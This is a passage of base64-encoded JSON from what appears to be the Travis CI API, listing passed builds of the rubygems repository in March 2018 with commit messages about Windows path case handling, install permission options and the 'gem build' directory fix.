ODksCiAgICAgICAgInNoYSI6ICJjNmU2YmQ1OWQ4MzdiZjc1NzU2NjZiMmNhMWUwOTNhZmJlODU1MjJhIiwKICAgICAgICAicmVmIjogInJlZnMvaGVhZHMvbWFzdGVyIiwKICAgICAgICAibWVzc2FnZSI6ICJBdXRvIG1lcmdlIG9mICMyMjExIC0gbGFyc2thbmlzOmZpeC13aW4tY2FzZSwgcj1oc2J0XG5cbkZpeCBwYXRoIGNoZWNrcyBmb3IgY2FzZSBpbnNlbnNpdGl2ZSBmaWxlc3lzdGVtXG5cbiMgRGVzY3JpcHRpb246XG5PbiBXaW5kb3dzIHBhdGhzIGFyZSBjYXNlIGluc2Vuc2l0aXZlLiBUaGF0IG1lYW5zIHRoYXQgcGF0aCBjb21wYXJpc29ucyBtdXN0IGJlIGRvbmUgY2FzZSBpbnNlbnNpdGl2ZS5cblxuRGlmZmVyZW50IGxvd2VyIC8gdXBwZXIgY2FzZSBjaGFyYWN0ZXJzIGNhbiBoYXBwZW4sIHdoZW4gUmJDb25maWc6OlRPUERJUiBvciBHRU1fSE9NRSBhcmUgc2V0IHRvIGEgcGF0aCBvZiBkaWZmZXJlbnQgY2FzZS5cblxuVGhpcyBidWcgd2FzIGludHJvZHVjZWQgaW4gY29tbWl0IDY2NmVmNzkzYyAuIEl0IHN0b29kIG91dCBpbiB0aGlzIG5va29naXJpIGlzc3VlOiBodHRwczovL2dpdGh1Yi5jb20vc3BhcmtsZW1vdGlvbi9ub2tvZ2lyaS9pc3N1ZXMvMTcyNlxuXG5fX19fX19fX19fX19fX1xuXG4jIFRhc2tzOlxuXG4tIFt4XSBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbi0gW3hdIFdyaXRlIHRlc3RzXG4tIFt4XSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXG4tIFsgXSBHZXQgY29kZSByZXZpZXcgZnJvbSBjb3dvcmtlcnMgLyBmcmllbmRzXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwKICAgICAgICAiY29tcGFyZV91cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbXBhcmUvMWE4MTNkNTQ4OTBiLi4uYzZlNmJkNTlkODM3IiwKICAgICAgICAiY29tbWl0dGVkX2F0IjogIjIwMTgtMDMtMDVUMTA6MTU6MzJaIgogICAgICB9LAogICAgICAiam9icyI6IFsKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIyOTk4NSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjI5OTg1CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIyOTk4NiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjI5OTg2CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIyOTk4NyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjI5OTg3CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIyOTk4OCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjI5OTg4CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIyOTk4OSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjI5OTg5CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIyOTk5MCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjI5OTkwCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIyOTk5MSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjI5OTkxCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIyOTk5MiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjI5OTkyCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIyOTk5MyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjI5OTkzCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIyOTk5NCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjI5OTk0CiAgICAgICAgfQogICAgICBdLAogICAgICAic3RhZ2VzIjogWwoKICAgICAgXSwKICAgICAgImNyZWF0ZWRfYnkiOiB7CiAgICAgICAgIkB0eXBlIjogInVzZXIiLAogICAgICAgICJAaHJlZiI6ICIvdXNlci8zNzY4MDIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgImlkIjogMzc2ODAyLAogICAgICAgICJsb2dpbiI6ICJidW5kbGVyYm90IgogICAgICB9LAogICAgICAidXBkYXRlZF9hdCI6ICIyMDE4LTAzLTA1VDExOjA4OjU4Ljc1N1oiCiAgICB9LAogICAgewogICAgICAiQHR5cGUiOiAiYnVpbGQiLAogICAgICAiQGhyZWYiOiAiL2J1aWxkLzM0OTIxOTI5NiIsCiAgICAgICJAcmVwcmVzZW50YXRpb24iOiAic3RhbmRhcmQiLAogICAgICAiQHBlcm1pc3Npb25zIjogewogICAgICAgICJyZWFkIjogdHJ1ZSwKICAgICAgICAiY2FuY2VsIjogZmFsc2UsCiAgICAgICAgInJlc3RhcnQiOiBmYWxzZQogICAgICB9LAogICAgICAiaWQiOiAzNDkyMTkyOTYsCiAgICAgICJudW1iZXIiOiAiNDc1MCIsCiAgICAgICJzdGF0ZSI6ICJwYXNzZWQiLAogICAgICAiZHVyYXRpb24iOiA4Mzc1LAogICAgICAiZXZlbnRfdHlwZSI6ICJwdXNoIiwKICAgICAgInByZXZpb3VzX3N0YXRlIjogInBhc3NlZCIsCiAgICAgICJwdWxsX3JlcXVlc3RfdGl0bGUiOiBudWxsLAogICAgICAicHVsbF9yZXF1ZXN0X251bWJlciI6IG51bGwsCiAgICAgICJzdGFydGVkX2F0IjogIjIwMTgtMDMtMDVUMTA6MTQ6MTNaIiwKICAgICAgImZpbmlzaGVkX2F0IjogIjIwMTgtMDMtMDVUMTA6NDM6MzJaIiwKICAgICAgInJlcG9zaXRvcnkiOiB7CiAgICAgICAgIkB0eXBlIjogInJlcG9zaXRvcnkiLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDIyMjEsCiAgICAgICAgIm5hbWUiOiAicnVieWdlbXMiLAogICAgICAgICJzbHVnIjogInJ1YnlnZW1zL3J1YnlnZW1zIgogICAgICB9LAogICAgICAiYnJhbmNoIjogewogICAgICAgICJAdHlwZSI6ICJicmFuY2giLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxL2JyYW5jaC9tYXN0ZXIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgIm5hbWUiOiAibWFzdGVyIgogICAgICB9LAogICAgICAidGFnIjogbnVsbCwKICAgICAgImNvbW1pdCI6IHsKICAgICAgICAiQHR5cGUiOiAiY29tbWl0IiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDEwMzkyMzUyNywKICAgICAgICAic2hhIjogIjFhODEzZDU0ODkwYmRmNWEwZWI3ZmMxZDAyZWI2NTgyODc3YTc4ZTMiLAogICAgICAgICJyZWYiOiAicmVmcy9oZWFkcy9tYXN0ZXIiLAogICAgICAgICJtZXNzYWdlIjogIkF1dG8gbWVyZ2Ugb2YgIzIyMTkgLSBub2J1OnBlcm1pc3Npb24tb3B0aW9ucywgcj1oc2J0XG5cblBlcm1pc3Npb24gb3B0aW9uc1xuXG4jIERlc2NyaXB0aW9uOlxuQWRkIDpkaXJfbW9kZSwgOnByb2dfbW9kZSwgYW5kIDpkYXRhX21vZGUgb3B0aW9ucyB0byBHZW0uaW5zdGFsbC5cblxuVGhlc2Ugb3B0aW9ucyB3b3VsZCBiZSB1c2VmdWwgdG8gc3VwcG9ydCBzYW1lIG9wdGlvbnMgb2YgYHJiaW5zdGFsbC5yYmAuXG5fX19fX19fX19fX19fX1xuXG4jIFRhc2tzOlxuXG4tIFt4XSBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbi0gW3hdIFdyaXRlIHRlc3RzXG4tIFt4XSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXG4tIFsgXSBHZXQgY29kZSByZXZpZXcgZnJvbSBjb3dvcmtlcnMgLyBmcmllbmRzXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwKICAgICAgICAiY29tcGFyZV91cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbXBhcmUvYjUyMTVhNTc0NmY0Li4uMWE4MTNkNTQ4OTBiIiwKICAgICAgICAiY29tbWl0dGVkX2F0IjogIjIwMTgtMDMtMDVUMDk6NDg6MDJaIgogICAgICB9LAogICAgICAiam9icyI6IFsKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIxOTI5NyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjE5Mjk3CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIxOTI5OCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjE5Mjk4CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIxOTI5OSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjE5Mjk5CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIxOTMwMCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjE5MzAwCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIxOTMwMSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjE5MzAxCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIxOTMwMiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjE5MzAyCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIxOTMwMyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjE5MzAzCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIxOTMwNCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjE5MzA0CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIxOTMwNSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjE5MzA1CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0OTIxOTMwNiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ5MjE5MzA2CiAgICAgICAgfQogICAgICBdLAogICAgICAic3RhZ2VzIjogWwoKICAgICAgXSwKICAgICAgImNyZWF0ZWRfYnkiOiB7CiAgICAgICAgIkB0eXBlIjogInVzZXIiLAogICAgICAgICJAaHJlZiI6ICIvdXNlci8zNzY4MDIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgImlkIjogMzc2ODAyLAogICAgICAgICJsb2dpbiI6ICJidW5kbGVyYm90IgogICAgICB9LAogICAgICAidXBkYXRlZF9hdCI6ICIyMDE4LTAzLTA1VDEwOjQzOjMyLjkxOFoiCiAgICB9LAogICAgewogICAgICAiQHR5cGUiOiAiYnVpbGQiLAogICAgICAiQGhyZWYiOiAiL2J1aWxkLzM0ODU3NjIyMSIsCiAgICAgICJAcmVwcmVzZW50YXRpb24iOiAic3RhbmRhcmQiLAogICAgICAiQHBlcm1pc3Npb25zIjogewogICAgICAgICJyZWFkIjogdHJ1ZSwKICAgICAgICAiY2FuY2VsIjogZmFsc2UsCiAgICAgICAgInJlc3RhcnQiOiBmYWxzZQogICAgICB9LAogICAgICAiaWQiOiAzNDg1NzYyMjEsCiAgICAgICJudW1iZXIiOiAiNDc0MyIsCiAgICAgICJzdGF0ZSI6ICJwYXNzZWQiLAogICAgICAiZHVyYXRpb24iOiA3OTQwLAogICAgICAiZXZlbnRfdHlwZSI6ICJwdXNoIiwKICAgICAgInByZXZpb3VzX3N0YXRlIjogInBhc3NlZCIsCiAgICAgICJwdWxsX3JlcXVlc3RfdGl0bGUiOiBudWxsLAogICAgICAicHVsbF9yZXF1ZXN0X251bWJlciI6IG51bGwsCiAgICAgICJzdGFydGVkX2F0IjogIjIwMTgtMDMtMDNUMDg6MTU6NDVaIiwKICAgICAgImZpbmlzaGVkX2F0IjogIjIwMTgtMDMtMDNUMDg6NDE6MzhaIiwKICAgICAgInJlcG9zaXRvcnkiOiB7CiAgICAgICAgIkB0eXBlIjogInJlcG9zaXRvcnkiLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDIyMjEsCiAgICAgICAgIm5hbWUiOiAicnVieWdlbXMiLAogICAgICAgICJzbHVnIjogInJ1YnlnZW1zL3J1YnlnZW1zIgogICAgICB9LAogICAgICAiYnJhbmNoIjogewogICAgICAgICJAdHlwZSI6ICJicmFuY2giLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxL2JyYW5jaC9tYXN0ZXIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgIm5hbWUiOiAibWFzdGVyIgogICAgICB9LAogICAgICAidGFnIjogbnVsbCwKICAgICAgImNvbW1pdCI6IHsKICAgICAgICAiQHR5cGUiOiAiY29tbWl0IiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDEwMzcxODUzMywKICAgICAgICAic2hhIjogImI1MjE1YTU3NDZmNDc3Mzc3YTIxOTMyZWE5YzkxYTlmMTFkOTQwN2EiLAogICAgICAgICJyZWYiOiAicmVmcy9oZWFkcy9tYXN0ZXIiLAogICAgICAgICJtZXNzYWdlIjogIkF1dG8gbWVyZ2Ugb2YgIzE0MzMgLSBydWJ5Z2VtczpyZW1vdmUtdXNlbGVzcy1kaXJlY3RvcnktcGFyYW1ldGVyLCByPWhzYnRcblxuUmVtb3ZlIHVzZWxlc3MgZGlyZWN0b3J5IHBhcmFtZXRlciBmcm9tIGJ1aWxkZXJzIC5idWlsZCBtZXRob2RzLiBbcmViYXNlZF1cblxuVGhpcyBpcyBhIHJlYmFzZSBvZiAjNjY5XG5cblRoaXMgcGFyYW1ldGVyIHdhcyBpbnRyb2R1Y2VkIDggeWVhcnMgYWdvLCBidXQgd2FzIG5ldmVyIHVzZWQuIEFsdGhvdWdoXG5pdCBtaWdodCBicmVhayBzb21lIFJ1YnlHZW1zIHBsdWdpbiwgaXQgZG9lc24ndCBzZWVtcyB0aGVyZSBleGlzdCBhbnlcbmFsdGVybmF0aXZlIFJ1YnlHZW1zIGJ1aWxkZXIgaW4gdGhlIHdpbGQuIiwKICAgICAgICAiY29tcGFyZV91cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbXBhcmUvNzVjNzU0MTJmODExLi4uYjUyMTVhNTc0NmY0IiwKICAgICAgICAiY29tbWl0dGVkX2F0IjogIjIwMTgtMDMtMDNUMDc6NDM6MzZaIgogICAgICB9LAogICAgICAiam9icyI6IFsKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0ODU3NjIyMiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ4NTc2MjIyCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0ODU3NjIyMyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ4NTc2MjIzCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0ODU3NjIyNCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ4NTc2MjI0CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0ODU3NjIyNSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ4NTc2MjI1CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0ODU3NjIyNiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ4NTc2MjI2CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0ODU3NjIyNyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ4NTc2MjI3CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0ODU3NjIyOCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ4NTc2MjI4CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0ODU3NjIyOSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ4NTc2MjI5CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0ODU3NjIzMCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ4NTc2MjMwCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM0ODU3NjIzMSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzQ4NTc2MjMxCiAgICAgICAgfQogICAgICBdLAogICAgICAic3RhZ2VzIjogWwoKICAgICAgXSwKICAgICAgImNyZWF0ZWRfYnkiOiB7CiAgICAgICAgIkB0eXBlIjogInVzZXIiLAogICAgICAgICJAaHJlZiI6ICIvdXNlci8zNzY4MDIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgImlkIjogMzc2ODAyLAogICAgICAgICJsb2dpbiI6ICJidW5kbGVyYm90IgogICAgICB9LAogICAgICAidXBkYXRlZF9hdCI6ICIyMDE4LTAzLTAzVDA4OjQxOjM4LjQwMVoiCiAgICB9LAogICAgewogICAgICAiQHR5cGUiOiAiYnVpbGQiLAogICAgICAiQGhyZWYiOiAiL2J1aWxkLzM0ODU0ODE4MiIsCiAgICAgICJAcmVwcmVzZW50YXRpb24iOiAic3RhbmRhcmQiLAogICAgICAiQHBlcm1pc3Npb25zIjogewogICAgICAgICJyZWFkIjogdHJ1ZSwKICAgICAgICAiY2FuY2VsIjogZmFsc2UsCiAgICAgICAgInJlc3RhcnQiOiBmYWxzZQogICAgICB9LAogICAgICAiaWQiOiAzNDg1NDgxODIsCiAgICAgICJudW1iZXIiOiAiNDczOCIsCiAgICAgICJzdGF0ZSI6ICJwYXNzZWQiLAogICAgICAiZHVyYXRpb24iOiA3NTQzLAogICAgICAiZXZlbnRfdHlwZSI6ICJwdXNoIiwKICAgICAgInByZXZpb3VzX3N0YXRlIjogInBhc3NlZCIsCiAgICAgICJwdWxsX3JlcXVlc3RfdGl0bGUiOiBudWxsLAogICAgICAicHVsbF9yZXF1ZXN0X251bWJlciI6IG51bGwsCiAgICAgICJzdGFydGVkX2F0IjogIjIwMTgtMDMtMDNUMDU6MDQ6NDNaIiwKICAgICAgImZpbmlzaGVkX2F0IjogIjIwMTgtMDMtMDNUMDU6MzY6MzZaIiwKICAgICAgInJlcG9zaXRvcnkiOiB7CiAgICAgICAgIkB0eXBlIjogInJlcG9zaXRvcnkiLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDIyMjEsCiAgICAgICAgIm5hbWUiOiAicnVieWdlbXMiLAogICAgICAgICJzbHVnIjogInJ1YnlnZW1zL3J1YnlnZW1zIgogICAgICB9LAogICAgICAiYnJhbmNoIjogewogICAgICAgICJAdHlwZSI6ICJicmFuY2giLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxL2JyYW5jaC9tYXN0ZXIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgIm5hbWUiOiAibWFzdGVyIgogICAgICB9LAogICAgICAidGFnIjogbnVsbCwKICAgICAgImNvbW1pdCI6IHsKICAgICAgICAiQHR5cGUiOiAiY29tbWl0IiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDEwMzcwOTMwNywKICAgICAgICAic2hhIjogIjc1Yzc1NDEyZjgxMTdiMjhkMjFkNWFhYjkzYzkxOGUzZjMyYTM2OWUiLAogICAgICAgICJyZWYiOiAicmVmcy9oZWFkcy9tYXN0ZXIiLAogICAgICAgICJtZXNzYWdlIjogIkF1dG8gbWVyZ2Ugb2YgIzIyMDQgLSBydWJ5Z2Vtczpjb2xieS9nZW0tYnVpbGQtY2hkaXIsIHI9c2VnaWRkaW5zXG5cbkFsbG93IGJ1aWxkaW5nIGdlbXMgd2l0aG91dCBoYXZpbmcgdG8gYmUgaW4gdGhlIGdlbSBmb2xkZXJcblxuIyBEZXNjcmlwdGlvbjpcblxuVGhlIGBnZW0gYnVpbGRgIGNvbW1hbmQgZG9lcyBub3QgY2hhbmdlIGludG8gdGhlIHdvcmtpbmcgZGlyZWN0b3J5IHdoZW4gYnVpbGRpbmcgZ2Vtcy4gVGhpcyBsZWFkcyB0byBpc3N1ZXMgd2hlbiBidWlsZGluZyBhIGdlbSB3aGVuIHlvdSdyZSBub3QgaW5zaWRlIHRoZSBzYW1lIGRpcmVjdG9yeSBhcyB0aGUgZ2Vtc3BlYy5cblxuSGVyZSBpcyBhbiBleGFtcGxlIG9mIHRoZSB0cnlpbmcgdG8gYnVpbGQgdGhlIEJ1bmRsZXIgZ2VtIHdoZW4gaSdtIG5vdCBpbnNpZGUgdGhlIHByb2plY3QgZGlyZWN0b3J5LlxuXG5gYGBcbuKAuiBnZW0gYnVpbGQgYnVuZGxlci9idW5kbGVyLmdlbXNwZWNcbi9Vc2Vycy9jL1Byb2plY3RzXG5mYXRhbDogTm90IGEgZ2l0IHJlcG9zaXRvcnkgKG9yIGFueSBvZiB0aGUgcGFyZW50IGRpcmVjdG9yaWVzKTogLmdpdFxuV0FSTklORzogIFNlZSBodHRwOi8vZ3VpZGVzLnJ1YnlnZW1zLm9yZy9zcGVjaWZpY2F0aW9uLXJlZmVyZW5jZS8gZm9yIGhlbHBcbkVSUk9SOiAgV2hpbGUgZXhlY3V0aW5nIGdlbSAuLi4gKEdlbTo6SW52YWxpZFNwZWNpZmljYXRpb25FeGNlcHRpb24pXG4gICAgW1wiQ0hBTkdFTE9HLm1kXCIsIFwiTElDRU5TRS5tZFwiLCBcIlJFQURNRS5tZFwiLCBcImJ1bmRsZXIuZ2Vtc3BlY1wiLCBcImV4ZS9idW5kbGVcIiwgXCJleGUvYnVuZGxlclwiXSBhcmUgbm90IGZpbGVzXG5gYGBcblxuVGhpcyBQUiBjaGFuZ2VzIHRoZSBgYnVpbGRgIGNvbW1hbmQgdG8gY2hhbmdlIGludG8gdGhlIHNhbWUgZGlyZWN0b3J5IHRoYXQgdGhlIGBnZW1zcGVjYCBpcyBsb2NhdGVkIGluLiBUaGlzIG1ha2VzIGl0IHBvc3NpYmxlIHRvIGJ1aWxkIGEgZ2VtIHdpdGhvdXQgaGF2aW5nIHRvIGJlIGluc2lkZSBpdC5cblxuYGBgXG7igLogZ2VtIGJ1aWxkIGJ1bmRsZXIvYnVuZGxlci5nZW1zcGVjXG4vVXNlcnMvYy9Qcm9qZWN0cy9idW5kbGVyXG4gIFN1Y2Nlc3NmdWxseSBidWlsdCBSdWJ5R2VtXG4gIE5hbWU6IGJ1bmRsZXJcbiAgVmVyc2lvbjogMS4xNi4yXG4gIEZpbGU6IGJ1bmRsZXItMS4xNi4yLmdlbVxuYGBgXG5cbiMgVGFza3M6XG5cbi0gW3hdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxuLSBbeF0gV3JpdGUgdGVzdHNcbi0gW3hdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29k